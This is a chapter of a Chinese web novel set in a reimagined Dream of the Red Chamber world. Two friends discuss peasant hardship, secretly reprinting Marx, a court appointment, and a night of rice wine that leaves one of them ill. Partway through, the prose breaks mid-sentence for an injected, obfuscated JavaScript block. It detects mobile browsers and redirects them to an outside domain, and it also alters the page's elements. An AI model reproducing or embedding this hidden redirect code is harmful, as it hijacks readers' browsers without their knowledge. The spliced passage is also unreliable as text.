49.米酒
作品:《高端玩家红楼生存实况》 柳湘莲默默喝了一大口。
在外面可喝不到这么好的茶,特别是这些年。
他去的地方越来越偏远,净是些穷乡僻壤,不开化的蛮夷之地。
柳湘莲祖上旺过,身上多少也有点贵族的自矜,嘴上不说,心里没那么情愿去。
不过那是好几年前了。
柳湘莲放下杯子,垂着眼眸无声叹了口气。
这些年看到的太多,越来越觉得林蘅玉肯定不是此世中人。
他的想法心态都和柳湘莲见过的、认识的不同,那些观念想法令柳湘莲自叹弗如。
林蘅玉觑他一眼,奇怪道:“怎么,山猪吃不了细糠,喝不惯?”
“去你的!”柳湘莲笑骂,端起来又猛灌。“一会送我点,我拿回去慢慢享受。”
林蘅玉挥挥手,超级豪气:“让林青给你包。”
二人相识于微末,那会柳湘莲家中还有些余资,但也就那样了。
而林蘅玉刚开始做生意,他年岁小,背后就算有巡盐御史的爹也少不了被坑。
再往后柳家落败,林蘅玉本着以后说不定有用的心态就帮了把。
他与柳湘莲交情不错,后来一起做事,倒还替柳湘莲拦了一劫。
这也是林蘅玉听贾琏提起家中小妾尤二姐有了身孕才记起的。
现在尤氏姐妹都活着。
贾琏新夫人容得下尤氏。
她早有了贾琏长子,长子年纪大了又生了二儿子,尤氏肚子里的孩子威胁不到她。
至于尤三姐,她性子烈,贾琏有些怕她。
不久前贾琏才托新夫人那边的关系给尤三姐定了亲。
据贾琏说那人曾经也是个风月人,家道中落后又白手起家,现在看淡了许多,只想好好过日子。
尤三姐这世没见过柳湘莲,经他们撮合后也同意了。
那个男人家里贾府不远,都在京城住着,尤氏姐妹俩也能有个照应。
他们说着说着就聊到去年北静王余党被杀一事,柳湘莲嗤笑道:“平民百姓知道什么大是大非?知道什么谋不谋反?他们只会想杀了这个大官自己身上的赋税会不会少点,被盘剥的会不会轻点。”
“今日是杀的是北静王他们拍手称快,明日杀你我他们也会拍手称快。只要所杀之人比他们有权,有钱,有势,他们就无不拍手称快的。”
柳湘莲言辞犀利,说的不好听,但不是假话。
谁在乎你上面发生什么呢,一年到头无病无灾已经是许多人不敢奢求的了。盛世是上位者的盛世,只有沉重的赋税、服不完的劳役和一年到头赚不了几两银子的贫瘠庄稼地是属于他们的。
平日里听听权贵阴私,背地里嚼两句他们的肮脏勾当,对着黄土地骂骂当官的也差不多了。
这些难堪的,仿佛是把上位者脸皮撕下来狠狠踩在地上的行为已经可以满足他们对有权有势的过得不比自己好的伟大幻想了。
至于其他,已经没有心力了。
民生困苦,饥馑荐臻。
裴应拾拉他入伙是这么说的,他拉柳湘莲入伙也是这么说的。
年轻时总是一腔热血,看不得不公道,瞧不得不正义。
或许现在面朝黄土背朝天的人曾经也是这么想的。
“我们命好啊。”林蘅玉感喟:“今我何功德,曾不事农桑。”
他两条腿翻转换了动作,手臂撑着软塌上的靠枕,仰头看向屋外。
案机上的茶杯被他手臂碰到,柳湘莲伸手扶了扶。
“我也没别的想法,只是随便说说。”待案机稳当了柳湘莲就放开手,他也看向窗外:“你不知道我这些年是怎么过的。他们根本不懂我在说什么,也不知道我到底是去干什么的,只想从我手上拿钱。”
“没办法,他们没办法,我也没办法。”
说不沮丧是假的。
柳湘莲怀着拯救众生的想法去,亲眼见到他们的生存环境后坚定的留在那里。
可实在太难熬了,见不到一点希望的难熬。
柳湘莲很多次都要走了,但那点怜悯心犯了又犯,没想到一撑就是七八年。
林蘅玉晃着一条腿,近似于仰躺着的动作让他的身躯拉长,很有美感。
“没读过书,认知低。”很熟悉的情况,裴应拾带他到外围时见过很多这样的人,他看过的书上也有很多经验。“修路,办学,脱贫。”
“我们做不到就让后人做,比起困难更可怕的是没人开头。”
柳湘莲能去,能坚持已经出乎林蘅玉的意料了。
他那会已经脑子都混混沌沌,有是清醒,有时又不怎么记得自己真实身份是什么。
柳湘莲比他厉害,比很多人厉害。
“唉,你说我们这好好的公子哥干嘛操心这些,好好躺着过一辈子不好吗?”柳湘莲想着想着又觉心酸又觉好笑,不知道自己到底图些什么。
“诶,”柳湘莲翻过身盘腿坐着,笑吟吟问林蘅玉:“你说有人会知道我做的这些好事吗?”
林蘅玉心虚地望着窗外:“回吧。”
他觉得自己真不是什么好人,明明时机不成熟,他还是干了,还拉了不少人入伙。
这么大的事要是被水灏知道了,那他们真的就九族消消乐了。
啧,林蘅玉心虚一阵又理直气壮一阵。
当初裴应拾也是这么哄他的。
二十世纪末至二十二世纪初,很多人都是这么做的。
总有人要迈出第一步,哪怕迈出去的第一个人结局惨烈。
柳湘莲呵呵笑了两声,看出来林蘅玉也不知道答案了。
“没事,不知道就不知道呗,没人知道我还安全。”
他来找林蘅玉也不是求开解的。
“说正事,你就要这么等三年?”
“不等,被夺情了。”林蘅玉还有心情开玩笑,虽然在柳湘莲听来并不好笑。“反正再低都是进士出身,皇上也懒得等三年了。昨日刚接了旨,下月就去工部找我舅舅咯。”
柳湘莲正色:“你手上流出去的东西太多,皇上盯上你了。可工部到底算不上什么好去处,处处被人压着不说,升也升不上去。”
“这有什么办法?”林蘅玉坐直身子,看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029031|175710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着柳湘莲标准到不能再标准的丹凤眼,心里赞美了声,缓缓道:“走一步看一步吧。”
“那什么卡尔·海因里希·马克思的书继续印着?”一长串的名字太过饶舌,柳湘莲念的艰难。
但柳湘莲有一种古怪的固执,他对这些作者抱着真挚的钦佩,每每提及必念全名以示尊重。
类似《共产党宣言》的书都被林蘅玉搬过来了,还有很多小说也被林蘅玉大差不差的搬过来。
这些书只在地下流通,标新立异的社会形态吸引了很多读者,虽然他们目前大多抱着批评的心态看。
裴应拾在古老的图书馆里找了很久才把这些书翻出来,他告诉林蘅玉这些书在当年发挥了至关重要的作用。
林蘅玉不太清楚那段历史,都是裴应拾一点一点补给他的。
这些东西早就泯灭在史书里了,财团把握的很紧,一点可能掀起社会变动的思想都不让泄出来。
说道继续刊印,林蘅玉掰着指骨嘎擦作响:“先停一段时间吧。”
水灏的不稳定性远超他的想象,在宫变之前他一直以为水灏只是传统的封建帝王。
水灏肃清了前朝后宫,下一只手恐怕就是控制民间言论了。
“也行。”柳湘莲颔首,他凑到林蘅玉面前,睁大眼睛看林蘅玉:“你真的不能引荐一下那几位大师吗?”
他真的太崇拜那几位作者了,什么样奇才才能写出那些宏篇著作。
“不行。”不是林蘅玉不引荐,而是他也见不到。“他们不能露面,太危险了。还有几位已经去世,更不能打扰了。”
“好吧。”柳湘莲遗憾极了,但写书的人确实比他的处境险峻。“什么时候吃饭,我带了香洲那边他们自己酿的米酒,特别好喝。”
香洲米酒?林蘅玉在扬州时还小,林海不怎么给他喝。来京城来往不方便,喝的就更少了。
这东西就是本地酿的才好喝,手艺要香洲的,酿的人也要香洲的。
林蘅玉被勾起馋瘾,他冲柳湘莲挥挥手:“你去问林青,说不定他马上就给你弄出来。”
喝本地人酿的,度数不明的米酒的后果就是两个人倒头就睡,饭都来不及多吃一口。
吸收前朝的前朝许多人险些因严苛的守孝制度病死的案例,大幽孝期仅第一个月不食荤腥,后续只要清淡些就行。
但林蘅玉连守两个孝期加上外伤,这次米酒还是害了他一把。
半夜林蘅玉胃疼醒了,他想着熬一下,等天亮再说。但胃部越来越疼,室内的动静吵醒了睡在外间的林语。
林青本是怕林蘅玉夜里呕吐才安排林语守夜的,没想到林蘅玉竟是因为胃疼用到林语。
林府大半夜请大夫,闹了一晚上,除了睡眠质量超好的柳湘莲,林蘅玉院里的基本都被吵醒了。
翌日柳湘莲起来得知此事愧疚不已,在林府陪着林蘅玉到他病好干净才离开。
林蘅玉没多久又嘴馋柳湘莲留下的米酒,不过这次不贪多,只是小醉睡了个午觉。
睡醒提笔写下:被酒莫惊春睡重,赌书消得泼茶香,当时只道是寻常。